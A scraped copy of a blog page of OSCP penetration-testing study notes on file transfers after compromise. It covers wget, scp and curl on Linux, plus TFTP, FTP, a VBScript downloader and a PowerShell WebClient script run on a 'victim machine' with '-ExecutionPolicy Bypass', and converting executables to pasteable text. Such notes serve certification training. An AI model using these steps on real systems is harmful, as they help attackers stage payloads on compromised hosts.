0% found this document useful (0 votes)
131 views9 pages

OSCP Notes - File Transfers

The document provides notes on file transfer methods for both Linux and Windows systems, including commands for wget, scp, curl, TFTP, FTP, VBSCRIPT, and PowerShell. It outlines setup instructions for each method, emphasizing the need for non-interactive commands in compromised environments. Additionally, it includes optimization and verification steps for executable files being transferred.

Uploaded by

kabegij928
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
131 views9 pages

OSCP Notes - File Transfers

The document provides notes on file transfer methods for both Linux and Windows systems, including commands for wget, scp, curl, TFTP, FTP, VBSCRIPT, and PowerShell. It outlines setup instructions for each method, emphasizing the need for non-interactive commands in compromised environments. Additionally, it includes optimization and verification steps for executable files being transferred.

Uploaded by

kabegij928
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

MENU

SECURISM
All about Information Security

OSCP NOTES – FILE TRANSFERS

LINUX FILE TRANSFERS


[Link] letransfer/

wget

wget <URL> -P <local path>

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
scp

scp <source le> <username>@[Link]:/home/<username>/

ssh

ssh HOST cat < LOCALFILE “>” REMOTEFILE

curl

curl -o [Link] <Any URL>


curl -O <URL with le name>

tp
s tp
nc

WINDOWS FILE TRANSFERS


TIP: In a gained shell, le transfer commands must be non-interactive

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
TFTP

In Kali, create /t tpboot/ directory speci cally only for TFTP daemon service

Setup TFTP on Attacker Machine

at tpd –daemon –port 69 <directory>


service at tpd start
cp < le> /t tpboot/

Command on victim machine

t tp -i <ip address of attacker> GET < le name>

FTP

Setup FTP server on attacker machine

apt-get install pure- tpd


setup- tp
username: o fsec, pswd: lab
Commands on victim machine : Write set of commands in a text le

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
echo open [Link] 21> [Link]
echo USER o fsec>> [Link]
echo tp>> [Link]
echo bin >> [Link]
echo GET [Link] >> [Link]
echo bye >> [Link]
tp –v -n -s: [Link]

VBSCRIPT

Setup HTTP web server on attacker machine

cp < les> /var/www/


service apache2 start
Commands on victim machine : Write set of commands in text le
echo strUrl = [Link](0) > [Link]
echo StrFile = [Link](1) >> [Link]
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> [Link]
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> [Link]
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> [Link]
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> [Link]
echo Dim http, varByteArray, strData, strBu fer, lngCounter, fs, ts >> [Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
echo [Link] >> [Link]
echo Set http = Nothing >> [Link]
echo Set http = CreateObject(“[Link].5.1”) >> [Link]
echo If http Is Nothing Then Set http = CreateObject(“[Link]”) >> [Link]
echo If http Is Nothing Then Set http = CreateObject(“[Link]”) >> [Link]
echo If http Is Nothing Then Set http = CreateObject(“Microso [Link]”) >> [Link]
echo [Link] “GET”, strURL, False >> [Link]
echo [Link] >> [Link]
echo varByteArray = [Link] >> [Link]
echo Set http = Nothing >> [Link]
echo Set fs = CreateObject(“[Link]”) >> [Link]
echo Set ts = [Link](StrFile, True) >> [Link]
echo strData = “” >> [Link]
echo strBu fer = “” >> [Link]
echo For lngCounter = 0 to UBound(varByteArray) >> [Link]
echo [Link] Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> [Link]
echo Next >> [Link]
echo [Link] >> [Link]

Run [Link] at victim machine


cscript [Link] [Link] [Link]

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
POWERSHELL

On victim machine, write set of commands in a ps1 le

echo $storageDir = $pwd > wget.ps1


echo $webclient = New-Object [Link] >>wget.ps1
echo $url = “[Link] >>wget.ps1
echo $ le = “[Link]” >>wget.ps1
echo $[Link]($url,$ le) >>wget.ps1

Run wget.ps1 on victim machine

[Link] -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoPro le -File wget.ps1

[Link]

1. Optimize the exe to be transferred

upx -9 <exe le>

2. Verify if the exe is still running ne

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
wine <exe le>

3. Convert exe to text le

wine [Link] <exe le> <txt le>

Text le will be generated, simply copy and paste the text le contents to the shell.

Advertisements

REPORT THIS AD

SHARE THIS:

 Twitter  Facebook

Like
Be the first to like this
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Be the first to like this.

Search …

PAGES
Contact
OSCP Notes – Bu fer Over low
OSCP Notes – Exploitation
OSCP Notes – File Transfers
OSCP Notes – Information Gathering
OSCP Notes – Meterpreter
OSCP Notes – Password Attacks
OSCP Notes – Port Forwarding
OSCP Notes – Port Scanning
OSCP Notes – Privilege Escalation (Linux)
OSCP Notes – Privilege Escalation (Windows)
OSCP Notes – Shells

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

You might also like